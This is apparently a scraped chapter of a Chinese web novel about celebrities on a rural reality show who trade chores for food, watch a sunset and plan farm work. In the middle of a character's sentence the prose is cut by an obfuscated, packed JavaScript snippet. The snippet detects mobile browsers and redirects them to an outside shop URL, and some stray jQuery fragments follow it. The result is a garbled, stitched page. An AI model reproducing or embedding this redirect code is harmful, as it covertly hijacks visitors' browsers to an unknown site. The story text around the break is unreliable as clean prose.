云羡拉着杜泪去村里集市转了一圈,美其名曰考察物价,实际上把哪天赶集、海鲜多少钱一斤、哪家豆腐坊手艺最好都摸了个门清。
两个人带着食材回到小院的时候,太阳已经斜到了枣树梢。
院门口传来林一回中气十足的喊声:“我们回来了——!”
梁硕走在最前面,手里拎着两大袋东西。
林一回跟在后面,肩上扛着一捆竹竿,怀里还抱着一个沉甸甸的编织袋,走两步颠一下,竹竿尾端差点扫到杨蕊的脑袋。
杨蕊落在最后,为了躲林一回的竹竿,双下巴都躲出来了,在摄像机看不到的地方狠狠叹了口气,好累好累好累!
她双手捧着一个盖着纱布的陶盆,走路小心翼翼的,生怕给盆里的东西洒了。
“这是去干活还是去打劫了?”杜泪从竹椅上站起来,看着三个人手里的东西,上前帮忙。
林一回把编织袋往石桌上一搁,袋子口散开,露出一堆菜来。
两根白萝卜,几个土豆,一把小葱,一把豆角,还有一棵卷心得紧实的大白菜。
他抹了一把额头上的汗,脸上的表情像刚打完一场胜仗。
“陈伯给的!他家刚好有活要干!我们给他搭完豆角架,他说:你们这手艺不行但态度还行,然后给他劈了柴挑了水,他老伴又让我们帮忙把院子里晒的玉米收了,全干完以后他进屋拎了四根排骨一袋面粉,还有这一袋子菜,我们拼命说不要不要,他说不要就不给晚饭。”
“我这一听,这哪行啊!咱们现在可是户外求生来着!能蹭一顿是一顿,剩下的钱哪天要饿死了再用!”
“然后他老伴炒了四个菜,我们在他家吃完了才回来的。”杨蕊把陶盆放在石桌上,揭开纱布,里面是两素一荤,那荤菜是半盆红烧排骨,酱色浓油亮亮的,还冒着热气。
“陈伯说这盆排骨是我们劈柴的工钱。”
林一回补充道:“面粉是搭架子的工钱,菜是挑水的工钱。”
“收玉米是白干的。”梁硕拿起保温杯,拧开盖子喝了一口,“陈伯说收玉米是他对我们的考验,考验过了才给排骨,没过的话,晚饭就只给炒豆角。”
云羡看了看石桌上那一堆东西,嘴角弯了一下。
陈伯这个人,嘴上说手艺不行态度还行,实际上把半个厨房都搬给他们了。
梁硕环顾了一圈院子:“你们这边怎么样?周妄人呢?”
云羡:“地开好了,野菜也基本上移栽完了。”
她话音刚落,窄道里传来脚步声。
周妄从后院走出来,T恤湿透了贴在身上。
裤腿从膝盖以下全是泥,已经干了一半,变成硬邦邦的灰褐色。
汗从额角沿着下颌线流到下巴尖,悬了一瞬,滴在石板地面上。
他抬手用手背蹭了一下,在脸上留下一道浅浅的泥印。
院子的几人,除了云羡,其他人见周妄这么狼狈的样子,全都看呆了。
周妄走到水井边压了一桶水,弯腰洗脸。
林一回唰的从石桌旁站起来。
“周妄老师!”他喊了一声,然后手忙脚乱地从裤兜里掏出一包餐巾纸,抽了好几张,朝水井边跑过去。
跑到周妄面前,他举着餐巾纸的手停在半空,脸上的表情在“偶像你好辛苦”和“偶像你怎么连流汗都这么帅”之间反复横跳。
周妄直起腰,脸上的水还没擦干,顺着锋利的下颌往下淌。
林一回屏住了呼吸,呜呜呜,偶像怎么能帅成这样!!
周妄看着林一回举到他面前的那几张餐巾纸,自然伸手接了过来。
“周妄老师嘤嘤嘤你好辛苦,这么大一片地你一个人刨完的?我就说我应该留下来帮你的才对!你一个人干了多少活啊,不过你不管什么形象都很帅啊!”
他说着抽了一张餐巾纸往周妄额头上按。
周妄往后仰了一下,林一回没按着,又往前凑了凑,这回按住了。
“偶像!快吃饭!盆里的排骨都是我留给你的!你的辛苦是有回报的!”
周妄:“….”
杨蕊憋着笑,又拿着手机在录像。
林一回擦完额头又擦鬓角,擦完鬓角又擦脖子,十分狗腿道:“早知道陈伯那边活那么轻松,我就让梁老师和杨蕊两个人去,我留下来跟你一起刨,陈伯家的豆角架才多大点活,我们三个人去了都没干够!”
梁硕的声音从石桌那边飘过来,“你劈柴劈到第三根就坐地上说手要断了,现在说是轻松?”
林一回假装没听见,又抽了一张纸往周妄脖子上按。
周妄这次自己伸手接了,说了一句:“我自己来。”
他擦了擦脖子上的汗,把用过的餐巾纸攥在手里,看着林一回回收脏纸巾的手掌,沉默了几秒。
这沉默的几秒里,也不知道有没有怀疑过林一回的性取向。
“我自己扔。”
云羡从厨房里走出来,手里端着电饭煲。
院子里,梁硕在喝茶,周妄拿蒲扇扇风,林一回还在那舔周妄,杜泪在那发呆,杨蕊对着院里的枣树拍照,一副热爱生活的模样。
就在这时,杨蕊忽然站了起来。
她的目光越过院墙,落在远处的山峦上,嘴巴微微张开:“哇!”
“你们看——”她抬起手指向西边。
所有人顺着她手指的方向看过去。
太阳正沉到山脊线后面,最后的金光从山背面喷薄而出,把整片天空染成了三层颜色。
最顶上还是淡青的,中间是一大片橘子色的晚霞,底下贴着山脊的那一条是深的,介于绯红和绛紫之间的色调。
光影投在院子里,枣树的叶子被晚霞映成半边金半边墨绿,石桌上每个人的杯子里都被夕阳灌满了橘色的光,连水井边的湿石板也泛着一层暖调的光泽。
一时间没人说话,只有林一回在那猴叫:“哇啊啊啊!这也太好看了吧!妈妈!人生是旷野!!”
他掏出手机一顿狂拍。
过了好一会儿,梁硕开口,声音比平时低了一些,带着在片场念独白时才有的质感。
“天地有大美而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489554|202160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不言。”
他端着茶杯,看着那片晚霞,眼角的纹路被夕阳染成金色。
杨蕊也把手机掏出来了,对着那片宏伟的天空按下快门。
拍完一张看了看,不太满意,又往左边挪了两步又拍了一张。
她的背影映在枣树的影子里,裙摆被晚风吹得轻轻晃着。
梁硕转过头看她,笑了一下:“喜欢拍照?”
杨蕊狠狠点头:“喜欢,喜欢把好看的东西留下来,晚霞、云、花、阳光透过树叶的样子,还有今天下午陈伯家烟囱里冒出来的烟,这些东西要是没人记录下来,就这么过去了,那也太可惜了。”
梁硕十分赞同:“能注意到这些的人,是真正在生活的人。”
晚霞烧到最烈的时候,整个院子都被染成了橘红色,枣树的影子从西墙一直拉到东厢房的台阶上。
每个人的脸都被晚霞映得暖烘烘的。
周妄只看了一眼晚霞,就转开了目光。
他看向云羡,夕阳把她半个人笼在橘色的光里。
杜泪坐在云羡旁边,盯着晚霞看了一会儿,眼睛一眨不眨的,瞳孔里倒映着天边那从橘到紫的渐变。
“云瑶,我知道该给你写什么歌了。”
云羡回过头:“什么?”
“晚霞。”杜泪把笔在手指间转了一圈,“以前在棚里写歌,制作人说我的歌缺一种暖色调的颜色,不是红也不是黄,他形容不出来,我也找不到,不过我刚才看到了,就是这个颜色。”
她朝那片晚霞抬了抬下巴。
云羡顺着她的目光看过去,晚霞正从橘色往绛紫色过渡,光在变沉,边缘的山脊线已经快看不清了。
她看了一会儿,嘴角弯了一下:“那歌名得叫《耳鸣》。”
杜泪愣了一下,然后笑出了声。
“你想得美。”
云羡转回头,然后继续放空自己,手指在石桌边缘轻轻敲着。
后院那头母猪,两百来斤,杀肉能出一百多斤左右。
一百多斤肉六个人吃二十天绰绰有余,就算不是天天吃肉,半扇猪也够了,剩下的半扇可以拿到集市上卖。
今天下午她和杜泪去集市转了一圈,猪肉行情的牌子挂在肉铺门口,五花肉十五块一斤,排骨二十二,筒骨十四。
桃花村是个小村,价格比不上镇上,但胜在摊位费便宜,卖不完的肉可以熏成腊肉,腊肉能存,也不愁销路。
但问题是,如果要杀猪的话,谁来杀?她不可能自己来杀,用齐航的话来讲就是ooc吧?
还有就是猪粪,今天翻地的时候她就看到了,猪圈里的粪肥已经积了厚厚一层,混合着稻草和烂泥,发酵得正好,是最适合做基肥的阶段。
翻过的土需要追肥,野菜移栽之后也需要一道薄肥来提苗,再过两天,粪肥被太阳晒过头了,肥力就跑了,明天必须清理出来。
但猪粪这东西,说白了就是臭,明天什么时候挑?天刚亮的时候村民还没起床,挑粪不会撞上路人,而且那时候她去挑粪,院子里也没人,方便她行动。